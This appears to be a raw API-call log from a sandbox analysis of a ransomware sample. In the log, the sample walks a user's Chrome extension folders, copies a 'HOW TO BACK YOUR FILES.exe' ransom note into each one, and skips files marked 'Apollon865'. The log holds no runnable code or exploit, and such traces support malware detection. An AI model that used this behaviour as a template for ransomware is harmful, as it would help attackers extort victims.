	[0048.329] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.329] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.329] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.329] lstrlenW (lpString="messages.json") returned 13
	[0048.329] lstrlenW (lpString="Apollon865") returned 10
	[0048.329] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.329] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca"
	[0048.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a370 | out: hHeap=0x580000) returned 1
	[0048.330] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0048.330] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca") returned 141
	[0048.330] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca"
	[0048.330] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.330] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.333] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e257b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e257b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.334] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.334] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.334] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.334] lstrlenW (lpString="messages.json") returned 13
	[0048.334] lstrlenW (lpString="Apollon865") returned 10
	[0048.334] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.334] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg"
	[0048.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a248 | out: hHeap=0x580000) returned 1
	[0048.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0048.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg") returned 141
	[0048.334] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg"
	[0048.334] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.338] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.338] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e257b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e257b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.338] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.338] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.339] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.339] lstrlenW (lpString="messages.json") returned 13
	[0048.339] lstrlenW (lpString="Apollon865") returned 10
	[0048.339] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.339] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images"
	[0048.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0048.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0048.339] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images") returned 136
	[0048.339] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images"
	[0048.339] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.345] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e257b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e257b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.345] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.345] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.345] lstrcpyW (in: lpString1=0x2d3e662, lpString2="flapper.gif" | out: lpString1="flapper.gif") returned="flapper.gif"
	[0048.345] lstrlenW (lpString="flapper.gif") returned 11
	[0048.345] lstrlenW (lpString="Apollon865") returned 10
	[0048.345] lstrcmpiW (lpString1="lapper.gif", lpString2="Apollon865") returned 1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="icon_128.png" | out: lpString1="icon_128.png") returned="icon_128.png"
	[0048.346] lstrlenW (lpString="icon_128.png") returned 12
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="on_128.png", lpString2="Apollon865") returned 1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="icon_16.png" | out: lpString1="icon_16.png") returned="icon_16.png"
	[0048.346] lstrlenW (lpString="icon_16.png") returned 11
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="con_16.png", lpString2="Apollon865") returned 1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="topbar_floating_button.png" | out: lpString1="topbar_floating_button.png") returned="topbar_floating_button.png"
	[0048.346] lstrlenW (lpString="topbar_floating_button.png") returned 26
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="button.png", lpString2="Apollon865") returned 1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="topbar_floating_button_close.png" | out: lpString1="topbar_floating_button_close.png") returned="topbar_floating_button_close.png"
	[0048.346] lstrlenW (lpString="topbar_floating_button_close.png") returned 32
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="_close.png", lpString2="Apollon865") returned -1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="topbar_floating_button_hover.png" | out: lpString1="topbar_floating_button_hover.png") returned="topbar_floating_button_hover.png"
	[0048.346] lstrlenW (lpString="topbar_floating_button_hover.png") returned 32
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="topbar_floating_button_maximize.png" | out: lpString1="topbar_floating_button_maximize.png") returned="topbar_floating_button_maximize.png"
	[0048.346] lstrlenW (lpString="topbar_floating_button_maximize.png") returned 35
	[0048.346] lstrlenW (lpString="Apollon865") returned 10
	[0048.346] lstrcmpiW (lpString1="ximize.png", lpString2="Apollon865") returned 1
	[0048.346] lstrcpyW (in: lpString1=0x2d3e662, lpString2="topbar_floating_button_pressed.png" | out: lpString1="topbar_floating_button_pressed.png") returned="topbar_floating_button_pressed.png"
	[0048.347] lstrlenW (lpString="topbar_floating_button_pressed.png") returned 34
	[0048.347] lstrlenW (lpString="Apollon865") returned 10
	[0048.347] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0048.347] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html"
	[0048.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb78 | out: hHeap=0x580000) returned 1
	[0048.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0048.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html") returned 134
	[0048.347] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html"
	[0048.347] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.347] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.352] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.352] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e4b910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e4b910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.352] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.352] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.352] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="craw_window.html" | out: lpString1="craw_window.html") returned="craw_window.html"
	[0048.352] lstrlenW (lpString="craw_window.html") returned 16
	[0048.352] lstrlenW (lpString="Apollon865") returned 10
	[0048.352] lstrcmpiW (lpString1="indow.html", lpString2="Apollon865") returned 1
	[0048.352] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css"
	[0048.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0048.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0048.352] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned 133
	[0048.352] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css"
	[0048.352] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.352] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.356] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e4b910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e4b910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.356] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.356] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.356] lstrcpyW (in: lpString1=0x2d3e65c, lpString2="craw_window.css" | out: lpString1="craw_window.css") returned="craw_window.css"
	[0048.356] lstrlenW (lpString="craw_window.css") returned 15
	[0048.356] lstrlenW (lpString="Apollon865") returned 10
	[0048.356] lstrcmpiW (lpString1="window.css", lpString2="Apollon865") returned 1
	[0048.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0048.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a150 | out: hHeap=0x580000) returned 1
	[0048.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0048.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 119
	[0048.357] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0048.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.361] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e4b910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e4b910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.361] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.361] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.361] lstrcpyW (in: lpString1=0x2d3e640, lpString2="1.4_0" | out: lpString1="1.4_0") returned="1.4_0"
	[0048.361] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0"
	[0048.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0048.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0048.361] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 125
